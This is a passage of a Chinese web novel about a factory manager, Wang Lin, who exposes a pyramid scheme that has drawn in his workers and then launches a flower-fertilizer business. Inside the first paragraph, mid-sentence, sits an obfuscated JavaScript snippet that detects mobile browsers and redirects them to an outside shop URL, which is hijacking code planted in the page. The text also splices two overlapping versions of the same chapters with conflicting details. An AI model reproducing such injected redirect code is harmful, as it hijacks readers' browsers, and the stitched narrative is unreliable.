老师傅姓陈，在车间干了八年铣床，手艺精湛，是厂里的老骨干。他坐在沙发上，双手止不住地发抖，缓缓道出了真相：“什么‘资本运作’，根本就是传销！进去先交六万九千八，美其名曰‘入股’，然后就天天被关在屋里上课，从早讲到晚，就教我们怎么拉人入伙，怎么骗人投钱。” 老陈抹了把脸，声音哽咽：“拉不到人，就只能自己掏钱买‘份额’充业绩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196363|197133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。我攒了半辈子的十五万积蓄，全砸进去了，现在一分钱都拿不回来。” “张国力不知道这是骗局？”王霖问道。 “他知道！他比谁都清楚！”老陈突然激动起来，声音拔高，“可他已经陷进去了，走不了了！他现在是‘经理级’，上头逼着他拉人，拉不到人就扣他的‘分红’。他那奔驰、西装、金表，全都是租来的，就是做给我们看的，骗我们相信真的能发财，好跟着他继续骗人！” 王霖沉默着，给老陈续了杯温水。老陈喘了口气，继续说道：“他那花卉肥料代理也是幌子，从您这儿进的货，根本没卖出去多少，大部分都堆在出租屋里。他就是拿这个当掩护，让别人以为他在做正经生意，好骗更多人加入。” “现在成都那边，至少有三十多个咱们厂出去的工人。想走也走不了，身份证被他们扣着，说是‘统一保管’，天天有人看着，跟软禁一样……” 王霖点燃一支烟，沉默了整整一支烟的时间。烟雾缭绕中，他的脸色愈发凝重。 第二天一早，王霖在车间召开了全员大会，老陈也回到了岗位，当着所有工人的面，把传销的真相一五一十地讲了出来。台下的工人们听得心惊胆战，那些曾动过心思、想跟着去成都的人，暗自庆幸自己没有一时糊涂。 大会结束后，王霖提拔技术部的梁欢担任新任厂长，要求他立刻重新修订厂规：严禁在车间传播任何与工作无关的“致富信息”，严禁私自组织工人参与任何投资、集资活动，一经发现，立即开除，绝不姑息。 这次传销风波，给新陶带来了沉重的打击。技术骨干大量流失，出现断层，新招聘的工人需要重新培训，熟悉工序，有两个关键工序因此停产了半个月，订单交付受到严重影响。更让王霖痛心的是，跟着张国力去成都的人里，有三个是厂里重点培养的大学生技术苗子，最终只有一个逃了回来，另外两个下落不明，生死未卜。 柳长青从临沂赶回来，听完整个事情的来龙去脉后，在办公室里抽了半包烟，房间里烟雾缭绕，气氛压抑得让人喘不过气。他把烟头摁灭在堆满烟蒂的烟灰缸里，终于开口，声音沙哑：“王霖，这是我的错。” “柳总，别这么说，是我用人不当，没有及时察觉隐患。”王霖连忙说道。 “不。”柳长青站起身，走到窗前，望着外面依旧忙碌的车间，眼神里满是愧疚，“我当初拉你出来，答应帮你起步自己的事业。可我这些年光顾着自己扩张，到处铺摊子，把你困在新陶，让你为这些琐事费心费力，耽误了你的前程。” 他转过身，眼眶布满血丝，语气沉重而坚定：“你为新陶付出得太多了。是时候为你自己想想了，去做你想做的事。” 三天后，柳长青让人把仓库东头二百平米的空间彻底腾空，又清理出隔壁的三间办公室，将一串黄铜钥匙放在了王霖手心。钥匙还带着柳长青手心的温度，沉甸甸的。 “这里，给你用。”柳长青的声音很轻，却字字千钧，“做你的花卉肥料，做你自己的事业。三年内，租金、水电全免，我再给你协调一笔启动资金，祝你成事。” 王霖握着那把钥匙，棱角硌着掌心的纹路，心中百感交集。窗外，暮色沉沉压下，车间的灯一盏盏亮起，机器的轰鸣声重新轰鸣起来——那是工人们在加班赶工期，试图把损失的时间追回来。 他知道，是时候了。那条属于自己的路，或许没有麻将桌上的称兄道弟，没有五星酒店的推杯换盏，没有空中楼阁的暴富神话，但每一步都脚踏实地，每一份收获都真实可触。那是他能牢牢握在手里，属于自己的未来。 五、重遇与选择 仓库改造成简易车间，花了整整一个月时间。王霖亲自设计布局，绘制图纸，亲自跑建材市场选购材料，盯着工人施工。2003年秋天，当第一台搅拌机搬进车间，轰鸣声响起的瞬间，他忽然想起了三年前在矿区的日子——那时的他，也是这样白手起家，一无所有，却有着满腔的热忱与孤勇。 只是这一次，他不再是孤军奋战，有了这几年积累的经验、资源与人脉，更有了清晰的方向。他最终选择从花卉肥料切入，市场调研显示，随着城市化进程加快，城市绿化水平不断提高，家庭养花种草成为新风尚，专业花卉肥料市场正处于快速增长期，而国内市场尚未形成强势品牌，正是入局的好时机。 初期的产品很简单：从澳大利亚独资的液肥公司引进母液，再进行稀释、分装、贴标。技术含量不高，门槛低，却有着不低的利润空间。当下最关键的，是打开市场，建立客户渠道。 就在王霖为市场推广发愁时，一个特别的人，闯入了他的视线。 那天，新陶公司正在招聘外贸人员，王霖经过会议室时，听到里面传来争执的声音。“我虽然没有大学文凭，但我学习能力强，肯吃苦！我自学了英语，能进行基本的沟通交流！”一个年轻人的声音洪亮而坚定，带着不甘与倔强。 人事经理的声音带着无奈：“小伙子，我们的招聘要求明确写了，本科以上学历，英语六级及以上，你确实不符合条件，我们也没办法。” “能力比文凭重要！为什么不给我一个机会？”年轻人依旧不服气。 王霖推门走了进去，人事经理立刻站起身：“王总。”他指了指年轻人，“这位黄文先生，不符合我们的招聘条件，却一直不肯走。” 王霖打量着眼前的年轻人，二十七八岁的年纪，个子不高，穿着洗得发白的衬衫，却依旧腰板挺直，眼神明亮而锐利，透着一股不服输的韧劲。“你先去我办公室等一等，喝杯茶。”王霖对黄文说，“等我忙完，跟你聊聊。” 两个小时后，王霖回到办公室，黄文依旧端正地坐在沙发上，没有丝毫懈怠。“如果让你做国内市场，推销一种全新的花卉肥料，你会怎么做？”王霖开门见山，抛出了问题。 黄文的眼睛瞬间亮了起来，语气笃定地说道：“首先，我会把产品摸透，搞清楚它的特点、优势、适用场景，找准目标客户——比如花店、花卉基地、花鸟市场商户，还有养花爱好者群体。然后，设计简单易懂的宣传材料，准备足量样品，亲自上门拜访客户，让他们免费试用。最重要的是，要让客户亲眼看到产品效果，用实力说话，而不是靠嘴说。” 一番话，说得实在而具体，没有空洞的理论，全是接地气的实操思路。王霖心中已然有了主意。“黄文，我有个花卉肥料项目，刚起步，缺一个跑市场的人。”他看着黄文，语气坦诚，“目前条件有限，没有底薪，只有提成，卖得多赚得多。干不干？” 黄文没有丝毫犹豫，立刻站起身，眼神坚定：“干！我一定能干好！” 就这样，王霖的第一次创业，正式拉开了序幕。分工明确，他负责产品供应链、资金管控与质量把关，黄文负责市场推广与客户维护。第一个月，黄文便带着样品，跑遍了东海及周边城市的花店、花鸟市场，磨破了嘴皮，晒黑了皮肤，最终签下了七个客户，收到定金三万五千元。按照约定，他拿到了一千七百元的提成——这在当时，相当于普通工人三个月的工资。 黄文拿着提成，激动得手都在抖，跑到王霖办公室：“王总，我能干！我真的能干好！” 王霖看着他兴奋的模样，也由衷地高兴。但他心里清楚，这只是万里长征的第一步。依赖进口母液，始终受制于人，利润空间被压缩，还面临供应链断裂的风险。只有研发出自己的配方，掌握核心技术，才能真正站稳脚跟，走得长远。 就在他潜心琢磨技术突破，四处寻找研发资源时，一个意想不到的人，再次出现了——吕顺平。 2003年深秋，秋雨淅淅沥沥，寒意渐浓。吕顺平突然登门拜访，两年未见，他瘦了些，眼角添了几分沧桑，精神却依旧饱满。“王总，听说你自己单干了，搞起了花卉肥料？”他笑着坐下，语气熟稔。 “刚起步，还在摸索。”王霖给他倒了杯茶，问道，“你的澳洲液肥生意，怎么样了？” 吕顺平的笑容淡了下去，语气里带着几分无奈：“别提了，一言难尽。外方把核心技术攥得死死的，我们就是个代工灌装的，利润薄得可怜，还得看人家脸色行事，稍微不听话，就断供母液。我早就想转型了。” 他喝了口茶，话锋一转，眼神变得锐利起来，压低声音：“王总，我这次来，是想跟你谈个合作。” “合作什么？”王霖不动声色地问道。 “液肥配方。”吕顺平的眼睛里闪着光，语气带着几分蛊惑，“我有渠道搞到澳大利亚母液的核心配方资料，虽然不全，但关键成分和工艺流程都有了。我们合伙搞研发，把配方完善，自己生产母液，不用再看外方面子，利润至少能翻三倍！” 王霖的心猛地一动。这正是他梦寐以求的机会，可天上不会掉馅饼，吕顺平的话，让他不得不保持警惕。 似乎看穿了他的疑虑，吕顺平从公文包里拿出一叠资料，递了过去：“你先看看，这是我从外方技术人员那儿好不容易搞到的，都是英文原版，有化学成分表，有工艺流程示意图。虽然零散，但能给我们指对方向，省去大量摸索的时间和成本。” 王霖接过资料，仔细翻看。纸上全是密密麻麻的英文，夹杂着复杂的化学公式与工艺参数，部分页面还有手写的批注，看得出来确实是内部资料，而非随意拼凑的假货。他指尖抚过那些陌生的化学试剂名称，心跳不自觉加快——若能掌握这些，便能彻底摆脱对进口母液的依赖，花卉肥料项目才能真正拥有底气。 “怎么拿到的？”王霖抬眼，语气平静却带着审视。他太了解吕顺平，这人精明过人，从不做亏本买卖，这般重要的资料，绝不会轻易拱手让人。 吕顺平搓了搓手，眼神闪烁了一下，含糊道：“托了点关系，给外方那个技术主管塞了些好处，又许了后续的分成，才换来这些。你放心，渠道干净，不会牵扯到法律问题。”这话半真半假，王霖听得明白，却没有点破——他更关心合作的核心条件。 “合作方式？” “我出资料和技术把控，你出场地、资金和现有渠道。”吕顺平立刻接话，语速飞快地抛出方案，“研发成功后，成立独立的合资公司，利润五五分。我保证半年内拿出成熟配方，一年内实现规模化生产，到时候咱们不仅能供应自己的分装厂，还能给其他肥料厂供货，销路根本不愁。” 诱人的前景摆在眼前，王霖却陷入了沉默。他想起吕顺平当年在新陶时，借着采购之机为自己谋利的事，那人的聪明里总带着几分投机取巧的算计。如今这所谓的“核心配方”，说不定也是另一场投机——万一资料有误，研发投入打了水漂；万一外方察觉追责，整个项目都会被拖垮；更甚者，吕顺平或许早已留了后手，等配方完善便独自抽身。 “我需要时间考虑。”王霖将资料轻轻推回，“这些资料我先留着核对真伪，三天后给你答复。” 吕顺平眼中闪过一丝急切，却也知道不能逼得太紧，只得点头：“可以，但王总，机会不等人。外方那边最近在查资料泄露的事，晚了说不定就没这个窗口期了。”他起身告辞，走到门口时又回头补充，“我知道你顾虑什么，当年在新陶，我是有私心，但这次是正经合作，咱们互利共赢，我不会拿自己的前程开玩笑。” 办公室里只剩王霖一人，秋雨敲打着窗户，发出淅淅沥沥的声响，更添几分沉静。他重新拿起那些资料，拨通了大学同学周明的电话——周明如今在省农科院做土壤肥料研究，是这方面的专家。“明子，帮我个忙，我这儿有些液肥配方资料，全是英文的，你帮我核对下成分和工艺的合理性，再看看是不是真的能落地。” 两天后，周明带着一份分析报告赶来。“这些资料确实是澳洲高端液肥的核心工艺，关键成分都对得上，批注里的修改意见也很专业，应该是懂行的人做的。”周明指着报告上的数据，“但有个问题，里面缺了一味关键催化剂的配比，而且工艺流程里有个环节需要特殊设备，咱们国内很少有厂家能做，得定制。另外，这种配方涉及外方专利，要是直接照搬生产，迟早会吃官司。” 王霖的心沉了沉，果然如他所料，吕顺平给的资料并不完整，而且藏着专利风险。但周明接下来的话，又让他看到了转机：“不过，咱们可以基于这个配方做改良。把那味催化剂换成国产替代品，调整工艺参数避开专利壁垒，虽然效果可能略逊于原版，但成本能降一半，性价比更高，也更符合国内市场需求。我大概算了下，研发周期大概三个月，投入也可控。” 第三天，吕顺平准时赴约。王霖将周明的分析报告推给他，直言不讳：“资料是真的，但不完整，还有专利风险，直接用行不通。” 吕顺平的脸色瞬间变了，随即又恢复镇定：“我知道缺催化剂配比，那是外方的核心机密，我正在想办法。专利方面，咱们偷偷生产，外方未必能查到。” “不行。”王霖语气坚决，“我做事业，只求稳扎稳打，绝不碰违法的红线。”他顿了顿，说出自己的方案，“我可以和你合作，但不是照搬这个配方，而是基于它做本土化改良，避开专利，用国产原料替代。你负责工艺优化，我负责研发资金和设备定制，利润依旧五五分，投资你占五十一，我占四十九，但必须签正规合同，明确双方权责，而且研发过程要全程透明，所有数据和进度都要记录在案。” 吕顺平沉默了许久，手指无意识地叩着桌面。他原本想靠着残缺的资料坐享其成，却没料到王霖如此谨慎，还找了专家做分析。但转念一想，改良方案虽麻烦，却能规避风险，而且王霖有场地、有资金、有渠道，错过了这个合作伙伴，他再想转型难如登天。“好，我答应你。”吕顺平最终点头，“但我有个要求，研发团队必须由我牵头，技术人员我来安排。” “可以，但我要派专人参与研发过程，负责数据核对和进度监督。”王霖寸步不让，两人最终达成共识，当场拟定了合作框架。 送走吕顺平，王霖走到窗边，秋雨已停，天边透出一丝微光。他拿出手机，给黄文打了个电话：“小黄，最近市场推广再加快点节奏，另外留意下花卉基地的反馈，咱们后续可能要推出改良款产品。” 电话那头的黄文干劲十足：“好嘞王总！我这两天刚谈下两个大型花卉基地，他们说咱们的产品效果比进口的还好，就是价格略高，要是能降点价，订单能翻番！” 王霖笑了笑，心中的疑虑渐渐消散。前路依旧有未知的暗流，吕顺平的投机本性是否会再犯，研发能否顺利推进，市场能否持续打开，这些都是未知数。但他不再像从前那样迷茫，经历了三任厂长的起落，看过了传销的虚幻与投机的风险，他愈发明白，唯有脚踏实地，守住底线，才能在变幻莫测的境遇中站稳脚跟。 他握紧了手中的资料，那上面的公式与参数，不再只是诱人的利益筹码，更是一条需要一步步摸索、一点点攻克的道路。或许这条路上依旧有风雨，但这一次，他带着经验与清醒，朝着属于自己的方向，坚定前行。 （本章总计字数：10286字） 23. 《半生债》中卷 第十三章·自渡 《半生债》中卷第十三章·自渡（上篇） 一、仓库里的新芽 2003年的春天来得磨磨蹭蹭。三月都快过完了，高新区路边的梧桐树还赖着去年的枯叶不肯长新芽，一副“急什么，再睡会儿”的懒散样儿。风倒是勤快，嗖嗖地往人领口里钻，带着股不依不饶的寒意。 王霖推开仓库那扇刚刷了新漆的绿铁门时，门轴“吱呀”一声，像老人伸懒腰。晨光从高高的气窗斜射进来，在水泥地上投下一道狭长的光斑，光里飘着的灰尘像是被惊扰的金色蚊蚋，上下翻飞。 三百平米的仓库被简易隔板一分为二——左边是车间，搅拌机、灌装线、打包台已经就位，像等待检阅的士兵；右边是办公室，两张从旧货市场淘来的办公桌，掉漆的铁皮文件柜，墙上挂着东山省地图，上面用红笔圈了十几个城市，像打了一串红灯笼。 这就是柳长青给他的“补偿”，白纸黑字写得明白：三年免租，水电全包。 王霖走到搅拌机前，深吸一口气，按下了启动按钮。机器“嗡”的一声闷响，随即轰鸣起来，震得脚下的水泥地簌簌发抖，头顶的日光灯管也跟着晃悠。这震颤感他太熟悉了——三年前在矿区，第一台设备转起来时也是这样，震得人心里发慌，又莫名踏实。 只是这一次，机器是他的，车间是他的，这条路，也得他自己一步一步踩出来。 产品方向是去年冬天就琢磨透的。张国力那档子事儿过后，王霖有两个月没睡好觉，白天跑市场，晚上算账本，人都瘦了一圈。他跑过青州的黄楼花卉市场，凌晨四点就蹲在那儿看批发商交易，听他们抱怨“好花开不久，赖花活千年”；去过济南的解放桥花市，跟摊主套近乎，最后花五十块钱买了盆半死不活的杜鹃，就为了问一句：“要是能让这花开久点，您愿意多花多少钱？” 最远跑到了安徽阜阳的苗木基地。站在田埂上放眼望去，成千上万亩的苗圃绿汪汪一片，用的却都是最简单粗暴的复合肥。基地老板拍着他的肩膀说：“兄弟，不是我们不想用好的，是没得选啊——市面上那些所谓的专业肥，十个有八个是挂羊头卖狗肉。” 那天晚上，王霖在旅馆的破本子上写下一行字：“专业花卉肥料，国内几乎是空白。” 市场大得吓人，门槛低得诱人——这不正是他要的切入点吗？ 模式简单到小学生都能懂。他从澳大利亚独资的“澳洲液肥”东海分公司进母液，按1:20的比例稀释，加点微量元素调一调，灌装成500毫升的瓶装花卉专用肥。母液成本占大头，稀释后的成品，材料成本只有原来的二十分之一，这买卖划算得让人心虚。 他算过一笔账：一吨母液三万块，能稀释成二十吨成品。每吨成品灌装2000瓶，每瓶批发价五块钱，二十吨就是二十万销售额。扣除包装、人工、运输，利润空间足够他在梦里笑醒。 关键是怎么把东西卖出去。 就在这时候，黄文冒出来了，像个从地缝里钻出来的惊喜。 --- 二、特别的人才 新陶公司招聘外贸人员是四月初的事儿。巴基斯坦卡拉奇新建了个商贸城，急需懂英语的销售人员坐镇。招聘广告登在《东海晚报》上，巴掌大一块，愣是招来了五十多个应聘者，把会议室挤得跟沙丁鱼罐头似的。 王霖本来不负责初试。那天他抱着一摞报表路过会议室，透过玻璃门看见个年轻人正跟人事经理较劲。年轻人个子不高，穿着一件洗得发白的牛仔夹克，袖子挽到胳膊肘，声音却响亮得能震落墙灰： “我没有大学文凭，但我学习能力强！酒店管理我干了三年，接待过外宾，我会说一点英语！” 人事经理是个好脾气的老大姐，这会儿也被逼得直揉太阳穴：“我们要求本科以上，英语六级……” “能力比文凭重要！”年轻人脖子一梗，青筋都绷出来了，“您让我试试，不行我立马走人，绝不多说一句废话！” 王霖推门进去。人事经理像看见救星似的站起来：“王总，这位黄文先生不符合我们的招聘条件，但他坚持要面试……” 王霖打量着这个叫黄文的年轻人——二十七八岁，寸头，眼睛亮得像两簇烧着的小火苗，脸上那种“不服你就试试”的劲儿，让王霖忽然想起了十年前的自己。那会儿他刚进省经委，为了争取一个去省里培训的名额，也是这样梗着脖子跟处长据理力争。 “你先去我办公室喝茶。”王霖说，“等我面试完这批人，咱们单独聊聊。” 两小时后，王霖回到办公室。黄文还坐在那儿，腰板挺得笔直，面前那杯茶一口没动，已经凉透了。 “为什么想来我们公司？” “听说你们要拓展海外市场。”黄文语速很快，“我在酒店干过三年，从门童干到前台经理，接触过二十多个国家的外宾。我知道怎么跟他们打交道——不是书本上那套，是真刀真枪练出来的。” “但我们要求外语，你……” “我可以学！”黄文急切地打断他，“给我三个月，不，两个月！我保证能达到工作要求！我每天背五十个单词，练两小时口语，达不到标准我工资一分不要！” 王霖没接这话茬。他起身从文件柜里拿出一个玻璃瓶，里面装着淡绿色的液体，瓶身上贴着临时打印的标签：“美洲液肥-花卉专用肥”。 “如果让你推销这个，你怎么做？” 黄文接过瓶子，没急着回答。他先对着光看了看液体的通透度，又拧开瓶盖闻了闻——不是装模作样地闻，是真凑近了深吸一口气，然后皱了皱鼻子：“有点氨水味儿，但不刺鼻。” “接着说。” “首先要了解产品特点。”黄文放下瓶子，眼神专注起来，“适合什么花，用量多少，多久见效，副作用是什么。然后找准目标客户——花卉批发商、园艺店、婚庆公司、高档酒店。设计宣传材料不能光说好，得摆数据，最好有对比照片。准备样品让客户先试用，见效了再谈合作。最重要的是……”他顿了顿，“得让客户觉得这钱花得值，不是买肥料，是买花开得更久、叶绿得更深的安心。” “如果让你跑全国市场呢？” “那就一个城市一个城市啃。”黄文想都没想，“先选重点城市，找当地最大的花卉市场，一家一家谈。前期可以做试点，选几个有代表性的客户，免费供三个月货，见效了让他们自己说话。口碑起来了，后面就好办了。” 他说得很实在，没有半句花哨的理论，每一句都像是从泥土里长出来的。 王霖心里那盏灯，“啪”一声亮了。 “黄文，我有个新项目。”他坐回椅子，双手交叉放在桌上，“做花卉肥料。现在缺一个跑市场的人。” 黄文眼睛更亮了。 “没有底薪。”王霖接着说，“只有提成——销售额的5%。吃住自理，差旅费前期垫付，成交后报销。干不干？” 黄文几乎是从椅子上弹起来的：“干！” --- 三、第一场招商会 合作模式简单到近乎寒酸。 王霖负责产品和资金——他租下仓库，买了二手设备，从澳洲液肥进了第一批母液。又去劳务市场转了三天，最后挑了三个附近村里的中年妇女：一个以前在酱菜厂干过，手脚麻利；一个家里种过大棚，懂点农事；还有一个最厉害，能在嘈杂环境里同时听清三台机器的声音，简直是天生的车间主任苗子。 车间运转起来后，王霖每天在仓库待到后半夜。调试配方比例时，他像老中医抓药，多一点少一点都要反复试验；设计包装标签时，他趴在办公桌上一笔一划地描，愣是把美术老师教的那点功底全挖出来了；核算成本利润时，他又变回了省经委那个一丝不苟的会计，小数点后两位都不能错。 黄文负责市场——王霖咬牙在《参考消息》《齐鲁晚报》《中国花卉报》上登了招商广告。广告词是他憋了两个晚上憋出来的：“美洲液肥-花卉专用肥，诚招各地经销商。让你的花开得更久，叶绿得更深，烦恼变得更少。”最后那句是黄文加的，他说：“得给客户一个情绪价值。” 广告登出去第三天，办公室那部红色电话机就像被踩了尾巴似的叫起来。 第一个来的是潍坊青州的客户，姓赵，做花卉批发十几年，手指头被枝叶染得泛绿，一说话满口“花花世界”。黄文去长途汽车站接他，没叫出租车，蹬着辆借来的三轮车就去了。赵老板看着那三轮直乐：“小伙子，你这接待规格挺别致啊！” 安排住在离仓库不远的“悦来招待所”——名字挺大气，其实就是个三层小楼，房间里的弹簧床一坐下去能弹三下。下午黄文带他参观“示范点”，其实是王霖托关系找的几个单位大院，里面的花坛偷偷用了美洲液肥。月季确实开得旺，一朵朵跟小碗似的，红得晃眼。 “效果怎么样？”赵老板蹲在花坛边，捏着月季的叶子仔细看，那架势像老中医号脉。 “您自己看。”黄文递过一瓶样品，“带回去试试，给最好的花用。半个月后要是没变化，您把瓶子砸我脸上。” 晚上王霖请客，在招待所旁边“老地方家常菜”。四个菜：葱烧豆腐、辣炒鸡块、酸辣土豆丝、西红柿鸡蛋汤，外加一瓶景芝白干。酒过三巡，赵老板脸红脖子粗地从怀里掏出一沓钱，“啪”拍在桌上：“王总，你这人实在，肥料我先看看。这一百箱，我订了！这是五千定金，剩下的□□！” 那是第一笔订单。合同是王霖手写的，用的还是从新陶公司顺来的稿纸，盖了刚刻的“东海美洲液肥有限公司”财务章——章子刻得有点歪，红印泥蹭得到处都是。但条款写得清清楚楚：规格、数量、单价、交货期、违约责任，一条是一条。 送走赵老板，王霖和黄文蹲在仓库门口抽烟。春夜的凉风吹过来，带着远处麦田刚浇过水的土腥味，和附近化工厂若有若无的酸味儿，混在一起竟有种奇异的鲜活。 “黄文，你知道咱们这生意最大的优势在哪儿吗？”王霖吐出一口烟，看它在路灯下袅袅散开。 “成本低？” “不止。”王霖摇摇头，“是模式轻。我们不做重资产的生产——搅拌机灌装线才几个钱？我们只做最核心的配方和品牌；我们也不做直营销售——那得养多少业务员？我们只做招商，让经销商去啃市场。重活儿累活儿让别人干，我们只赚最轻巧、最干净的那部分钱。” 黄文似懂非懂地点点头，忽然问：“王总，那咱们这不成了……空手套白狼？” 王霖笑了：“套是套，但不是空的。咱们有配方，有品牌，有信誉。这三样，比厂房设备值钱。” 第一个月，他们签了七个客户，收到定金三万五千块。按约定的5%提成，黄文拿到一千七百块钱——厚厚一沓，主要是十元面额的，数起来哗哗响。 黄文数钱时手有点抖。他把钱一张张抚平，按面额大小排好，叠得整整齐齐，然后郑重其事地装进内衣口袋，还拍了拍。 王霖递给他一支烟：“这才哪到哪。好戏还在后头。” --- 四、张莉的选择 生意走上正轨，是在半年之后。用黄文的话说：“就像骑自行车，开始蹬得费劲，等轮子转起来了，想停都停不下来。” 美洲液肥的名声像春天的蒲公英，悄没声儿地就散开了。黄文跑市场的本事超出了所有人的预期——他设计了一整套接待流程，细致到变态：客户下火车有人举牌接，牌子上不仅写名字，还根据对方年龄选字体——年长的用楷书，年轻的用美术字；住宿提前安排好，房间朝阳，枕头备两个一软一硬；参观路线精心设计，避开厂区最破旧的那段路；连吃饭的饭店都分三六九等：重要客户去“海鲜大酒楼”，一般客户去“老字号家常菜”，预算紧的去“经济实惠小炒馆”。每个细节他都提前踩点，周到得让人挑不出毛病。 销量每个月都在往上蹿。从最初的每月几十箱，到几百箱，到秋天时，已经突破一千箱。仓库里三个女工忙得脚不沾地，又招了两个小姑娘。搅拌机从每天开四小时，变成三班倒，机器发热了就得停，工人们就轮流守着，用风扇对着吹，那场面像给一头铁牛退烧。 国庆节前，王霖关起门来盘了一次账。算盘珠子噼里啪啦响了一下午，最后出来的数字把他自己都吓了一跳。 网上销售——主要是通过刚兴起的阿里巴巴平台，王霖网络销售也做了三十五万；线下招商做到了一百二十万。扣除所有成本：母液、包装、人工、运费、广告费、黄文的提成、招待客户的烟酒茶……最后剩了三十二万七。 纯利润。 他把存折拿给张莉看时，妻子正在厨房剥蒜。蒜皮沾了一手，她就在围裙上擦了擦，接过存折。翻开第一页时还平静，一页页往后翻，手指在那些越来越大的数字上摩挲，动作越来越慢。 最后她抬起头，眼睛里有震惊，有欢喜，还有一丝王霖看不懂的忧虑。 “这么多……”她声音轻轻的，“王霖，你这生意，稳当吗？” “现在看是稳当的。”王霖实话实说，“但生意场上的事，今天天上明天地下，谁也说不准能稳当多久。” 那天晚上，张莉失眠了。她在床上翻来覆去，床板吱呀作响，像在替她叹气。凌晨三点，她爬起来，坐在客厅的旧沙发上，就着台灯昏黄的光开始算账。 算王霖这半年投进去多少：仓库押金一万，设备三万五，首批母液八万，广告费两万，黄文的提成……算如果生意做不下去，这些钱能收回多少：设备能卖二手，母液用完了，仓库押金可能扣一部分……算家里还有多少积蓄：工商银行存折上还有四万二，那是她攒了十年的私房钱；衣柜抽屉里有两千现金，应急用的；阳台花盆底下还埋了个铁盒子，里面是结婚时收的金饰，大概值个万把块…… 算来算去，天就亮了。 早餐桌上，张莉盛粥的手很稳，白米粥在碗里荡出细细的涟漪。她没看王霖，盯着粥面说： “我辞职。” 王霖筷子停在半空，一块腌萝卜差点掉桌上：“你说什么？” “我辞职。”张莉抬起头，眼睛下有淡淡的青影，但眼神是坚定的，“我去帮你管账。” “你想清楚了？”王霖放下筷子，“工商银行是铁饭碗！储蓄部多好的岗位，风吹不着雨淋不着，多少人挤破头想进！” “铁饭碗也快生锈了。”张莉笑了笑，那笑里有点苦，“行里最近在传要改制，储蓄部可能要裁员。就算不裁，工资也一年不如一年——上月发薪日拖了半个月，听说下个月还要降薪。” 她顿了顿，声音轻下来，但每个字都像小石子，投进王霖心里： “再说，你这摊子越铺越大。账目、现金、合同，没个信得过的人盯着，我不放心。”她看着王霖，“你这个人，做起事来不要命。我得在旁边看着，别让你把本都赔光了。” 王霖鼻子一酸，赶紧低头喝粥。粥很烫，烫得他眼眶发热。 九月的最后一天，张莉把辞职报告交到了储蓄部主任桌上。主任是个快退休的老太太，戴着老花镜看了半天，叹口气：“小张啊，你可想好了。” “想好了。”张莉说。 她走出工商银行那栋气派的灰色大楼时，阳光正好。回头看了一眼——她在这里待了十二年，从二十岁的储蓄员干到三十二岁的业务主管，最好的年华都留在这大理石柜台后面了。说不留恋是假的，但也没什么好可惜的。 她拎着个纸箱子，里面装着茶杯、笔记本、几支笔，还有一盆养了五年的绿萝——叶子油亮亮的，是她用王霖的肥料试种的成果。 径直走向公交车站。明天，她要去仓库上班了。 从储蓄部主管到肥料厂会计，这跨度，够写一本小说了。 --- 五、股市的教训 人一有钱，心思就容易飘。这话是王霖后来才悟透的，但2003年秋天的他，正飘在云彩上呢。 那年的中国股市，刚从2001年的暴跌里缓过点儿劲来。上证指数在1300点附近磨磨蹭蹭，电视上的股评家们天天喊“历史大底”、“抄底良机”，喊得人心痒痒。 王霖也痒了。美洲液肥每个月十几万利润哗哗进账，除了扩大再生产，总得给钱找个下崽儿的地方吧？银行利息低得可怜，存进去跟埋了差不多。他琢磨来琢磨去，一拍大腿：炒股！ 开了股票账户，他先小心翼翼地试水。第一笔买了五万块的四川长虹——那会儿长虹电视正火，广告天天在央视黄金时段轰炸。买了没俩月，赚了八千。第二笔买了十万块的深发展，又赚了一万五。钱来得太容易，容易到让人产生错觉：我是不是股神转世？ 黄文提醒过他，不止一次。 “王总，股市这东西虚头巴脑的，今天涨明天跌，心跳都跟不上。”黄文说，“不如咱们实打实卖肥料，一箱就是一箱的钱，踏实。” 王霖哪儿听得进去。那会儿他正春风得意——美洲液肥的销量节节攀升，已经卖到了新疆乌鲁木齐、黑龙江哈尔滨，甚至通过边贸公司出口到了俄罗斯。海南海口的经销商一次性要了三百箱，说那边度假酒店的花园用得着，还要在瓶身上印英文标签：“Made in China，但效果是国际水准。” 品牌做起来了。虽然公司还是个窝在仓库里的作坊，但“美洲液肥-花卉专用肥”在行业里已经有了名气。黄文总结得精辟：“咱们这是分量小，名气大。” 十一月初，王霖做了个大胆得让他后来悔青肠子的决定。他把公司账上四十万流动资金——那是准备进下一批母液和包材的钱——全挪了出来，一把投进了股市。 二十万买中信证券，二十万买宝钢股份。他研究了半个月K线图，听了二十场股评讲座，最后得出结论：这两只股基本面扎实，政策扶持，闭着眼睛买都能赚。 结果眼睛刚闭上，股灾就来了。 11月13日，上证指数单日暴跌5.3%，绿油油一片，看得人心里发毛。接下来一周，天天阴跌，今天跌两个点，明天跌三个点，钝刀子割肉，疼得人喊都喊不出来。王霖每天准时蹲在证券营业部，盯着大屏幕上的数字变来变去，眼睛熬得通红。他想割肉止损，又不甘心；想补仓摊薄成本，又没钱了。 最惨的时候，四十万变成了二十三万。十七万，就这么蒸发得无影无踪，连个响儿都没听见。 那天晚上，王霖一个人在仓库里坐到后半夜。搅拌机停了，灌装线静悄悄的，车间里只有应急灯发出幽绿的光，照得一切都像沉在水底。他坐在灌装线旁边的塑料凳上，脚边扔了十几个烟头，烟灰洒了一地。 张莉找到他时，已经凌晨两点。她穿着睡衣，外面披了件外套，手里端着个保温杯。 “亏了多少？”她问，声音平静得吓人。 “十七万。”王霖声音沙哑。 张莉沉默了一会儿，在他旁边的凳子上坐下，拧开保温杯递过去：“喝点热水。” 王霖没接。张莉就把杯子放在地上，双手抱膝，看着黑暗中机器模糊的轮廓。 “就当交学费了。”她说，语气轻描淡写，像在说“今天白菜又涨价了”，“以后记住，咱们是做实业的，别去碰那些虚头巴脑的东西。钱来得容易，去得也快。只有肥料一箱箱卖出去，钱一张张收回来，那才是咱们的。” 